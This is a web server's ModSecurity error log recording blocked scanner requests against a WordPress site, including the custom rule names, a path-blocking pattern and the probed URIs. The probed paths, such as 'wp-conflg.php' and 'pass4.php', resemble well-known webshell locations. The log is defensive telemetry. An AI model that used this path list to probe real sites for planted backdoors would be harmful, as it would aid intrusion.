[Mon Mar 23 23:57:10.358088 2026] [:error] [pid 38177:tid 38231] [client 40.85.246.124:47070] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass4.php"] [unique_id "acFi1nsYW-_HCI66MukOaAAAAFA"]
[Mon Mar 23 23:57:10.769440 2026] [:error] [pid 38178:tid 38245] [client 40.85.246.124:47001] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass4.php"] [unique_id "acFi1g0axWfXsVvR9udhgAAAAIM"]
[Mon Mar 23 23:57:11.227890 2026] [:error] [pid 38177:tid 38227] [client 40.85.246.124:47083] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass4.php"] [unique_id "acFi13sYW-_HCI66MukOawAAAEw"]
[Mon Mar 23 23:57:11.640051 2026] [:error] [pid 38177:tid 38224] [client 40.85.246.124:46995] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pass4.php"] [unique_id "acFi13sYW-_HCI66MukObAAAAEk"]
[Mon Mar 23 23:57:12.064961 2026] [:error] [pid 38306:tid 38331] [client 40.85.246.124:47026] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsvvs.php"] [unique_id "acFi2DkL8qwu-hHc6BjggAAAARc"]
[Mon Mar 23 23:57:12.496696 2026] [:error] [pid 38276:tid 38295] [client 40.85.246.124:47051] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "acFi2JoKGiI-a7oME3IglAAAANA"]
[Mon Mar 23 23:57:12.907863 2026] [:error] [pid 38276:tid 38296] [client 40.85.246.124:46988] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "acFi2JoKGiI-a7oME3IglgAAANE"]
[Mon Mar 23 23:57:13.318868 2026] [:error] [pid 38306:tid 38309] [client 40.85.246.124:47021] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "acFi2TkL8qwu-hHc6BjggwAAAQE"]
[Mon Mar 23 23:57:13.761652 2026] [:error] [pid 38178:tid 38243] [client 40.85.246.124:47045] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "acFi2Q0axWfXsVvR9udhhQAAAIE"]
[Mon Mar 23 23:57:14.185922 2026] [:error] [pid 52341:tid 52357] [client 40.85.246.124:47078] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "acFi2qPKTBDR2u47Gb0zfgAAAU4"]
[Mon Mar 23 23:57:14.614422 2026] [:error] [pid 38306:tid 38327] [client 40.85.246.124:47085] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "acFi2jkL8qwu-hHc6BjghgAAARM"]
[Mon Mar 23 23:57:15.024843 2026] [:error] [pid 38306:tid 38312] [client 40.85.246.124:46950] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "acFi2zkL8qwu-hHc6BjgiQAAAQQ"]
[Mon Mar 23 23:57:15.496433 2026] [:error] [pid 38176:tid 38197] [client 40.85.246.124:47087] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "acFi20tG4qlh1gvNjuJtsAAAAAo"]
[Mon Mar 23 23:57:15.916144 2026] [:error] [pid 52341:tid 52360] [client 40.85.246.124:47007] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "acFi26PKTBDR2u47Gb0zgwAAAVE"]
[Mon Mar 23 23:57:16.330156 2026] [:error] [pid 38306:tid 38320] [client 40.85.246.124:47012] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "acFi3DkL8qwu-hHc6BjgjAAAAQw"]
[Mon Mar 23 23:57:16.747060 2026] [:error] [pid 38176:tid 38207] [client 40.85.246.124:46979] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "acFi3EtG4qlh1gvNjuJttQAAABQ"]
[Mon Mar 23 23:57:17.157928 2026] [:error] [pid 38276:tid 38300] [client 40.85.246.124:47022] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "acFi3ZoKGiI-a7oME3IgmQAAANU"]
[Mon Mar 23 23:57:17.593121 2026] [:error] [pid 38176:tid 38195] [client 40.85.246.124:47061] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acFi3UtG4qlh1gvNjuJtuwAAAAg"]
[Mon Mar 23 23:57:18.005536 2026] [:error] [pid 38178:tid 38258] [client 40.85.246.124:47098] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acFi3g0axWfXsVvR9udhigAAAJA"]
[Mon Mar 23 23:57:18.426613 2026] [:error] [pid 38178:tid 38245] [client 40.85.246.124:47067] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acFi3g0axWfXsVvR9udhjgAAAIM"]
[Mon Mar 23 23:57:18.871138 2026] [:error] [pid 38176:tid 38210] [client 40.85.246.124:47035] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acFi3ktG4qlh1gvNjuJtvwAAABc"]
[Mon Mar 23 23:57:19.327794 2026] [:error] [pid 52341:tid 52344] [client 40.85.246.124:47100] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acFi36PKTBDR2u47Gb0zjAAAAUE"]
[Mon Mar 23 23:57:19.852579 2026] [:error] [pid 52341:tid 52353] [client 40.85.246.124:47093] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acFi36PKTBDR2u47Gb0zkAAAAUo"]
[Mon Mar 23 23:57:20.290887 2026] [:error] [pid 52341:tid 52355] [client 40.85.246.124:46972] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acFi4KPKTBDR2u47Gb0zlQAAAUw"]
[Mon Mar 23 23:57:20.703107 2026] [:error] [pid 38177:tid 38239] [client 40.85.246.124:46917] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "acFi4HsYW-_HCI66MukOfwAAAFg"]
[Mon Mar 23 23:57:21.113355 2026] [:error] [pid 38306:tid 38316] [client 40.85.246.124:47014] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "acFi4TkL8qwu-hHc6BjgkgAAAQg"]
[Mon Mar 23 23:57:21.551781 2026] [:error] [pid 52341:tid 52361] [client 40.85.246.124:47069] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "acFi4aPKTBDR2u47Gb0znwAAAVI"]
[Mon Mar 23 23:57:21.962555 2026] [:error] [pid 52341:tid 52366] [client 40.85.246.124:47072] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "acFi4aPKTBDR2u47Gb0zoQAAAVc"]
[Mon Mar 23 23:57:22.379408 2026] [:error] [pid 38176:tid 38197] [client 40.85.246.124:47081] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "acFi4ktG4qlh1gvNjuJtwgAAAAo"]
[Mon Mar 23 23:57:22.789612 2026] [:error] [pid 52341:tid 52345] [client 40.85.246.124:47018] [client 40.85.246.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "acFi4qPKTBDR2u47Gb0zrQAAAUI"]
[Mon Mar 23 23:57:23.203074 2026] [:error] [pid 38306:tid 38332] [client 40.85.246.124:46932] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "acFi4zkL8qwu-hHc6BjglQAAARg"]
[Mon Mar 23 23:57:23.617925 2026] [:error] [pid 38306:tid 38311] [client 40.85.246.124:46919] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "acFi4zkL8qwu-hHc6BjgmQAAAQM"]
[Mon Mar 23 23:57:24.033068 2026] [:error] [pid 38176:tid 38191] [client 40.85.246.124:47009] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "acFi5EtG4qlh1gvNjuJtxwAAAAQ"]
[Mon Mar 23 23:57:24.443185 2026] [:error] [pid 52341:tid 52367] [client 40.85.246.124:46982] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acFi5KPKTBDR2u47Gb0zsgAAAVg"]
[Mon Mar 23 23:57:24.855548 2026] [:error] [pid 38177:tid 38233] [client 40.85.246.124:47103] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acFi5HsYW-_HCI66MukOgwAAAFI"]
[Mon Mar 23 23:57:25.267263 2026] [:error] [pid 38276:tid 38284] [client 40.85.246.124:46912] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acFi5ZoKGiI-a7oME3IgpAAAAMU"]
[Mon Mar 23 23:57:25.697949 2026] [:error] [pid 52341:tid 52362] [client 40.85.246.124:47006] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acFi5aPKTBDR2u47Gb0zvAAAAVM"]
[Mon Mar 23 23:57:26.113101 2026] [:error] [pid 38276:tid 38291] [client 40.85.246.124:47017] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/css/index.php"] [unique_id "acFi5poKGiI-a7oME3IgpQAAAMw"]
[Mon Mar 23 23:57:26.533713 2026] [:error] [pid 38306:tid 38317] [client 40.85.246.124:46961] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/css/index.php"] [unique_id "acFi5jkL8qwu-hHc6BjgngAAAQk"]
[Mon Mar 23 23:57:26.944987 2026] [:error] [pid 38276:tid 38282] [client 40.85.246.124:46914] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/css/index.php"] [unique_id "acFi5poKGiI-a7oME3IgqQAAAMM"]
[Mon Mar 23 23:57:27.355082 2026] [:error] [pid 38176:tid 38209] [client 40.85.246.124:47090] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/css/index.php"] [unique_id "acFi50tG4qlh1gvNjuJtyQAAABY"]
[Tue Mar 24 00:59:07.988087 2026] [:error] [pid 56435:tid 56525] [client 43.159.149.56:49988] [client 43.159.149.56] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acFxW8rwr-l5A-s9ryBotgAAARg"]
[Tue Mar 24 01:06:40.805543 2026] [:error] [pid 56435:tid 56510] [client 20.220.216.188:29643] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "acFzIMrwr-l5A-s9ryBuRwAAAQo"]
[Tue Mar 24 01:06:41.225561 2026] [:error] [pid 56435:tid 56503] [client 20.220.216.188:29665] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "acFzIcrwr-l5A-s9ryBuSwAAAQQ"]
[Tue Mar 24 01:06:41.687834 2026] [:error] [pid 56435:tid 56516] [client 20.220.216.188:29664] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "acFzIcrwr-l5A-s9ryBuUQAAAQ8"]
[Tue Mar 24 01:06:42.188511 2026] [:error] [pid 56435:tid 56518] [client 20.220.216.188:29665] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "acFzIsrwr-l5A-s9ryBuVAAAARE"]
[Tue Mar 24 01:06:42.651306 2026] [:error] [pid 56238:tid 56355] [client 20.220.216.188:29654] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "acFzIlSqceFAZRgPDq6VvAAAAMc"]
[Tue Mar 24 01:06:43.065798 2026] [:error] [pid 56435:tid 56505] [client 20.220.216.188:29686] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "acFzI8rwr-l5A-s9ryBuXgAAAQY"]
[Tue Mar 24 01:06:43.495941 2026] [:error] [pid 56435:tid 56514] [client 20.220.216.188:29580] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "acFzI8rwr-l5A-s9ryBuYQAAAQ0"]
[Tue Mar 24 01:06:43.929844 2026] [:error] [pid 56238:tid 56368] [client 20.220.216.188:29660] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "acFzI1SqceFAZRgPDq6VxAAAANQ"]
[Tue Mar 24 01:06:44.341635 2026] [:error] [pid 56238:tid 56372] [client 20.220.216.188:29644] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "acFzJFSqceFAZRgPDq6VxwAAANg"]
[Tue Mar 24 01:06:44.818414 2026] [:error] [pid 56435:tid 56503] [client 20.220.216.188:29577] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "acFzJMrwr-l5A-s9ryBuZgAAAQQ"]
[Tue Mar 24 01:06:45.235604 2026] [:error] [pid 56238:tid 56371] [client 20.220.216.188:29587] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "acFzJVSqceFAZRgPDq6VzgAAANc"]
[Tue Mar 24 01:06:45.757230 2026] [:error] [pid 56238:tid 56360] [client 20.220.216.188:29683] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "acFzJVSqceFAZRgPDq6V0QAAAMw"]
[Tue Mar 24 01:06:46.210187 2026] [:error] [pid 56435:tid 56524] [client 20.220.216.188:29645] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "acFzJsrwr-l5A-s9ryBubQAAARc"]
